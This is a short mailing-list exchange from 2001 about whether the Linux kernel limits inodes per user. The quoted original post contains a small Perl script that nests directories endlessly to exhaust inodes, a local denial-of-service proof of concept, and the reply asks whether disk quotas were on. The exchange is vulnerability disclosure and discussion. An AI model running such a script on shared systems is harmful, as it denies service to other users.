[offtopic] : a small DoS

[Crazniety]

On Mon, 15 Jan 2001, Michal Moskal wrote:

> Is there any limit for inodes alloacted
> per user in kernel. W/o it any local user
> can prevent machine from any acticvity...
> ------
> #!/usr/bin/perl
> 
> $n=0;
> while (1) {
> 	$n++;
> 	mkdir("x", 0700) || last; 
> 	chdir("x");
> }
> print "Done at $n\n";
> sleep(100);
> ------
> I wonder whatever it's known or should i sent
> it to bugtraq ?

Hm.. Did you try that with quota on ?


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